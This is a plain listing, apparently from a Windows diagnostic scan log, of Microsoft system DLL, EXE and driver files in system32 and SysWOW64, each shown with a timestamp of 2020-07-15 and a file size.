2020-07-15 23:50 - 2020-07-15 23:50 - 001655472 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.ApplicationModel.Store.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001654304 _____ (Microsoft Corporation) C:\Windows\system32\gdi32full.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001640448 _____ (Microsoft Corporation) C:\Windows\system32\TaskFlowDataEngine.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001612800 _____ (Microsoft Corporation) C:\Windows\system32\wpncore.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001610240 _____ (Microsoft Corporation) C:\Windows\system32\HologramCompositor.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001604608 _____ (Microsoft Corporation) C:\Windows\system32\dosvc.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001581568 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Devices.Perception.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001550336 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Graphics.Printing.3D.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001540608 _____ (Microsoft Corporation) C:\Windows\system32\WindowManagement.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001512960 _____ (Microsoft Corporation) C:\Windows\SysWOW64\cdprt.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001500160 _____ (Microsoft Corporation) C:\Windows\system32\TokenBroker.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001495040 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Devices.Bluetooth.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001486848 _____ (Microsoft Corporation) C:\Windows\system32\usocoreworker.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 001484384 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WindowsCodecs.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001477632 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dcomp.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001463808 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Devices.PointOfService.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001458688 _____ (Microsoft Corporation) C:\Windows\SysWOW64\GdiPlus.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001420328 _____ (Microsoft Corporation) C:\Windows\SysWOW64\gdi32full.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001397568 _____ (Microsoft Corporation) C:\Windows\system32\hvix64.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 001392128 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Media.FaceAnalysis.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001385696 _____ (Microsoft Corporation) C:\Windows\system32\Windows.UI.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001374208 _____ (Microsoft Corporation) C:\Windows\system32\NotificationController.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001371136 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Wpc.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001357824 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Globalization.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001346048 _____ (Microsoft Corporation) C:\Windows\system32\HoloSI.PCShell.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001344512 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Media.Audio.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001337856 _____ (Microsoft Corporation) C:\Windows\system32\wpnapps.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001335296 _____ (Microsoft Corporation) C:\Windows\system32\MiracastReceiver.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001312256 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msjet40.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001307136 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Media.Audio.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001306944 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ContentDeliveryManager.Utilities.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001290192 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Devices.Sensors.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001284608 _____ (Microsoft Corporation) C:\Windows\system32\werconcpl.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001284608 _____ (Microsoft Corporation) C:\Windows\system32\usermgr.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001271296 _____ (Microsoft Corporation) C:\Windows\system32\SEMgrSvc.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001265152 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Media.Speech.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001247232 _____ (Microsoft Corporation) C:\Windows\SysWOW64\TokenBroker.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001223168 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Media.FaceAnalysis.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001195008 _____ (Microsoft Corporation) C:\Windows\system32\sdengin2.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001183744 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Security.Authentication.Web.Core.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001159168 _____ (Microsoft Corporation) C:\Windows\system32\MbaeApiPublic.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001151816 _____ (Microsoft Corporation) C:\Windows\system32\mfmpeg2srcsnk.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001151304 _____ (Microsoft Corporation) C:\Windows\system32\InputHost.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001149712 _____ (Microsoft Corporation) C:\Windows\system32\ApplyTrustOffline.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 001125376 _____ (Microsoft Corporation) C:\Windows\system32\CBDHSvc.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001121792 _____ (Microsoft Corporation) C:\Windows\system32\MrmCoreR.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001100800 _____ (Microsoft Corporation) C:\Windows\system32\Windows.UI.Immersive.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001086776 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Services.TargetedContent.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001081344 _____ (Microsoft Corporation) C:\Windows\system32\ShareHost.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001077048 _____ (Microsoft Corporation) C:\Windows\system32\hvax64.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 001068544 _____ (Microsoft Corporation) C:\Windows\system32\SettingSyncCore.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001059840 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Networking.BackgroundTransfer.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001055232 _____ (Microsoft Corporation) C:\Windows\system32\Windows.AccountsControl.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001048992 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.UI.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001028336 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Perception.Stub.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001014784 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wpnapps.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001009152 _____ (Microsoft Corporation) C:\Windows\system32\StorSvc.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001008960 _____ (Microsoft Corporation) C:\Windows\system32\CloudExperienceHostCommon.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 001007616 _____ (Microsoft Corporation) C:\Windows\system32\kerberos.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000995840 _____ (Microsoft Corporation) C:\Windows\system32\EdgeManager.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000967680 _____ (Microsoft Corporation) C:\Windows\system32\WebcamUi.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000958608 _____ (Microsoft Corporation) C:\Windows\system32\AppContracts.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000950272 _____ (Microsoft Corporation) C:\Windows\system32\rasapi32.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000949760 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Media.Ocr.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000945176 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Devices.Sensors.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000931840 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Internal.Management.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000922624 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Management.Service.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000919880 _____ (Microsoft Corporation) C:\Windows\system32\Windows.ApplicationModel.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000917504 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Security.Authentication.OnlineId.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000913408 _____ (Microsoft Corporation) C:\Windows\system32\Windows.UI.Search.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000912896 _____ (Microsoft Corporation) C:\Windows\SysWOW64\MiracastReceiver.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000904192 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Devices.SmartCards.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000899584 _____ (Microsoft Corporation) C:\Windows\system32\MdmDiagnostics.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000898048 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.UI.Immersive.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000895600 _____ (Microsoft Corporation) C:\Windows\SysWOW64\MrmCoreR.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000892928 _____ (Microsoft Corporation) C:\Windows\SysWOW64\MbaeApiPublic.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000891392 _____ (Microsoft Corporation) C:\Windows\system32\HolographicExtensions.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000889416 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Internal.Shell.Broker.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000882184 _____ (Microsoft Corporation) C:\Windows\system32\wer.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000882176 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ShareHost.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000875008 _____ (Microsoft Corporation) C:\Windows\SysWOW64\rasapi32.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000867840 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Security.Authentication.Web.Core.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000865280 _____ (Microsoft Corporation) C:\Windows\system32\efswrt.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000848384 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Networking.BackgroundTransfer.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000844096 _____ (Microsoft Corporation) C:\Windows\SysWOW64\CloudExperienceHostCommon.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000827904 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Media.Import.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000822200 _____ (Microsoft Corporation) C:\Windows\system32\fontdrvhost.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 000821232 _____ (Microsoft Corporation) C:\Windows\system32\windows.applicationmodel.datatransfer.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000815616 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WebcamUi.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000814080 _____ (Microsoft Corporation) C:\Windows\SysWOW64\SettingSyncCore.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000809984 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Gaming.Input.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000797448 _____ (Microsoft Corporation) C:\Windows\system32\oleaut32.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000793320 _____ (Microsoft Corporation) C:\Windows\SysWOW64\InputHost.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000783488 _____ (Microsoft Corporation) C:\Windows\system32\tcblaunch.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 000782848 _____ (Microsoft Corporation) C:\Windows\SysWOW64\kerberos.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000779080 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Services.TargetedContent.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000778872 _____ (Microsoft Corporation) C:\Windows\SysWOW64\AppContracts.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000750592 _____ (Microsoft Corporation) C:\Windows\system32\ActivationManager.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000750080 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Security.Authentication.OnlineId.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000742712 _____ (Microsoft Corporation) C:\Windows\system32\LicensingWinRT.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000737792 _____ (Microsoft Corporation) C:\Windows\system32\Windows.System.Launcher.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000733184 _____ (Microsoft Corporation) C:\Windows\system32\windows.immersiveshell.serviceprovider.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000727040 _____ (Microsoft Corporation) C:\Windows\system32\agentactivationruntime.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000722072 _____ (Microsoft Corporation) C:\Windows\system32\kernel32.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000717824 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.AccountsControl.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000716288 _____ (Microsoft Corporation) C:\Windows\system32\agentactivationruntimewindows.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000701440 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Mirage.Internal.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000695208 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.ApplicationModel.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000694784 _____ (Microsoft Corporation) C:\Windows\system32\gpprefcl.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000692224 _____ (Microsoft Corporation) C:\Windows\system32\LockController.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000689664 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.UI.Search.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000687104 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Media.Ocr.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000685384 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wer.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000684864 _____ (Microsoft Corporation) C:\Windows\system32\SHCore.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000678720 _____ (Microsoft Corporation) C:\Windows\system32\StructuredQuery.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000673448 _____ (Microsoft Corporation) C:\Windows\SysWOW64\fontdrvhost.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 000669184 _____ (Microsoft Corporation) C:\Windows\SysWOW64\EdgeManager.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000656696 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\spaceport.sys
2020-07-15 23:50 - 2020-07-15 23:50 - 000653824 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Internal.Management.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000651264 _____ (Microsoft Corporation) C:\Windows\system32\DevicesFlowBroker.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000639488 _____ (Microsoft Corporation) C:\Windows\system32\twinapi.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000638464 _____ (Microsoft Corporation) C:\Windows\system32\twinui.appcore.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000630784 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Devices.AllJoyn.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000628416 _____ (Microsoft Corporation) C:\Windows\SysWOW64\kernel32.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000628024 _____ (Microsoft Corporation) C:\Windows\SysWOW64\LicensingWinRT.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000624640 _____ (Microsoft Corporation) C:\Windows\system32\TileDataRepository.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000616960 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Devices.LowLevel.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000614912 _____ (Microsoft Corporation) C:\Windows\SysWOW64\efswrt.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000614912 _____ (Microsoft Corporation) C:\Windows\system32\netprofmsvc.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000608256 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Devices.SmartCards.Phone.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000605896 _____ (Microsoft Corporation) C:\Windows\system32\sechost.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000602112 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Payments.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000600064 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ActivationManager.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000596992 _____ (Microsoft Corporation) C:\Windows\system32\vbscript.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000594992 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Perception.Stub.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000593408 _____ (Microsoft Corporation) C:\Windows\SysWOW64\oleaut32.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000584704 _____ (Microsoft Corporation) C:\Windows\system32\PlayToManager.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000582056 _____ (Microsoft Corporation) C:\Windows\SysWOW64\windows.applicationmodel.datatransfer.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000570368 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Media.Import.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000565248 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Gaming.Input.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000564736 _____ (Microsoft Corporation) C:\Windows\SysWOW64\gpprefcl.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000550400 _____ (Microsoft Corporation) C:\Windows\system32\win32k.sys
2020-07-15 23:50 - 2020-07-15 23:50 - 000549048 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Media.MediaControl.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000544256 _____ (Microsoft Corporation) C:\Windows\system32\usosvc.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000542288 _____ (Microsoft Corporation) C:\Windows\SysWOW64\StructuredQuery.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000540672 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Devices.SmartCards.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000538664 _____ (Microsoft Corporation) C:\Windows\SysWOW64\SHCore.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000534016 _____ (Microsoft Corporation) C:\Windows\system32\schannel.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000533504 _____ (Microsoft Corporation) C:\Windows\SysWOW64\vbscript.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000526848 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Graphics.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000524784 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Devices.Enumeration.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000522240 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.System.Launcher.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000521728 _____ (Microsoft Corporation) C:\Windows\system32\WinBioDataModel.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000518656 _____ (Microsoft Corporation) C:\Windows\system32\ncsi.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000518464 _____ (Microsoft Corporation) C:\Windows\system32\WerFault.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 000513024 _____ (Microsoft Corporation) C:\Windows\SysWOW64\twinapi.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000513024 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Data.Activities.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000512000 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Cortana.Desktop.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000502784 _____ (Microsoft Corporation) C:\Windows\SysWOW64\twinui.appcore.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000502784 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Devices.WiFiDirect.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000501760 _____ (Microsoft Corporation) C:\Windows\system32\Windows.ApplicationModel.LockScreen.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000497664 _____ (Microsoft Corporation) C:\Windows\system32\werui.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000495616 _____ (Microsoft Corporation) C:\Windows\system32\RTMediaFrame.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000490496 _____ (Microsoft Corporation) C:\Windows\system32\profsvc.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000484352 _____ (Microsoft Corporation) C:\Windows\system32\MixedReality.Broker.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000478296 _____ (Microsoft Corporation) C:\Windows\SysWOW64\sechost.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000477184 _____ (Microsoft Corporation) C:\Windows\system32\CloudDomainJoinDataModelServer.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000476160 _____ (Microsoft Corporation) C:\Windows\system32\MicrosoftAccountWAMExtension.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000475136 _____ (Microsoft Corporation) C:\Windows\system32\Geolocation.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000467960 _____ (Microsoft Corporation) C:\Windows\system32\Faultrep.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000467456 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Devices.Picker.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000467456 _____ (Microsoft Corporation) C:\Windows\system32\modernexecserver.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000466432 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Graphics.Printing.Workflow.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000462848 _____ (Microsoft Corporation) C:\Windows\SysWOW64\schannel.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000461112 _____ (Microsoft Corporation) C:\Windows\system32\msv1_0.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000458240 _____ (Microsoft Corporation) C:\Windows\system32\Windows.ApplicationModel.ConversationalAgent.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000456704 _____ (Microsoft Corporation) C:\Windows\system32\upnphost.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000453944 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WerFault.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 000452096 _____ (Microsoft Corporation) C:\Windows\SysWOW64\TileDataRepository.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000444416 _____ (Microsoft Corporation) C:\Windows\system32\fhsettingsprovider.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000444416 _____ (Microsoft Corporation) C:\Windows\system32\edgeIso.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000442368 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Devices.AllJoyn.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000442096 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Media.MediaControl.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000434176 _____ (Microsoft Corporation) C:\Windows\system32\MicrosoftAccountExtension.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000432128 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Devices.Midi.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000432128 _____ (Microsoft Corporation) C:\Windows\system32\WalletService.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000430592 _____ (Microsoft Corporation) C:\Windows\SysWOW64\werui.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000419328 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Graphics.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000419328 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Networking.NetworkOperators.ESim.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000416768 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Devices.Usb.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000416768 _____ (Microsoft Corporation) C:\Windows\system32\RDXTaskFactory.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000412672 _____ (Microsoft Corporation) C:\Windows\system32\AboveLockAppHost.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000411640 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Media.Devices.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000411136 _____ (Microsoft Corporation) C:\Windows\SysWOW64\PlayToManager.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000410112 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Devices.SmartCards.Phone.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000406992 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Devices.Enumeration.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000406992 _____ (Microsoft Corporation) C:\Windows\system32\tsmf.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000405944 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Faultrep.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000403968 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Payments.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000399672 _____ (Microsoft Corporation) C:\Windows\system32\SystemSettings.DataModel.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000397824 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Devices.Lights.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000395264 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Gaming.Preview.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000392504 _____ (Microsoft Corporation) C:\Windows\system32\CloudExperienceHost.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000388096 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Devices.LowLevel.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000387584 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.ApplicationModel.LockScreen.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000382976 _____ (Microsoft Corporation) C:\Windows\system32\nlasvc.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000381152 _____ (Microsoft Corporation) C:\Windows\system32\CredentialEnrollmentManager.exe
2020-07-15 23:50 - 2020-07-15 23:50 - 000380224 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msv1_0.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000375296 _____ (Microsoft Corporation) C:\Windows\system32\Windows.System.Diagnostics.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000374272 _____ (Microsoft Corporation) C:\Windows\system32\PickerPlatform.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000371712 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Geolocation.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000361472 _____ (Microsoft Corporation) C:\Windows\system32\vaultsvc.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000361472 _____ (Microsoft Corporation) C:\Windows\system32\QuickActionsDataModel.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000358912 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Devices.WiFiDirect.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000355840 _____ (Microsoft Corporation) C:\Windows\system32\wpnclient.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000355840 _____ (Microsoft Corporation) C:\Windows\system32\WaaSMedicSvc.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000355328 _____ (Microsoft Corporation) C:\Windows\system32\ConsoleLogon.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000354816 _____ (Microsoft Corporation) C:\Windows\SysWOW64\RTMediaFrame.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000353792 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msrd3x40.dll
2020-07-15 23:50 - 2020-07-15 23:50 - 000352256 _____ (Microsoft Corporation) C:\Windows\system32\APHostService.dll
